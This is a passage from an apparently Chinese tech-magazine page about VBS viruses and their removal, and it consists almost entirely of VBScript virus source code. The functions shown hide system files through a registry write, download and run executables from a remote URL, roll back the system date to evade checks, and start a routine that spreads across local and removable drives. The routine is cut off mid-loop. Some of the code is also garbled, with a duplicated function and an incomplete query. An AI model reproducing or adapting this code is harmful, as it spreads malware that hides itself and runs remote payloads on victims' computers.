中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(20)

end function

function yincang()

RegPath="HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced/"

Type_Name="REG_DWORD"

Key_Name="ShowSuperHidden"

Key_Data="00000000"

Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name

end function

function buildfold(path)

if fso.folderexists(path) then

exit function

end if

if not fso.folderexists(fso.getparentfoldername(path)) then

buildfold fso.getparentfoldername(path)

end if

fso.createfolder(path)

end function

第十五段：

function dowork(pcs,fname,furl,time)

on error resume next

set y=getobject("winmgmts://./root/cimv2")

set x=y.execquery("select * from win32_process where")

i=1

for each j in x

i=i+1

next

if not er then

if i>geshu then jincheng = true

else

jincheng = 1

end if

end function

第十六段：

function dowork(pcs,fname,furl,time)

if not fso.fileexists(exemulu&fname) and jincheng(pcs,1) then

advdownfile exemulu&fname,""&furl,0,2,3000

end if

if fso.fileexists(exemulu&fname) then

if time<>0 then

nowdate=date

wsh.run "%comspec% /c date 2002-"&month(date)&"-"&day(date),vbhide

wscript.sleep abs(time*1000)

end if

wsh.run exemulu&fname

dowork=1

if time>0 then

wscript.sleep 5000

wsh.run "%comspec% /c date "&nowdate,vbhide

end if

end if

end function

第十七段：

function ganran()

do

for each d in dc

if d.drivetype = 3 or (d.drivetype = 1 and d<>"A:" and d<> "B:") then

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-20.html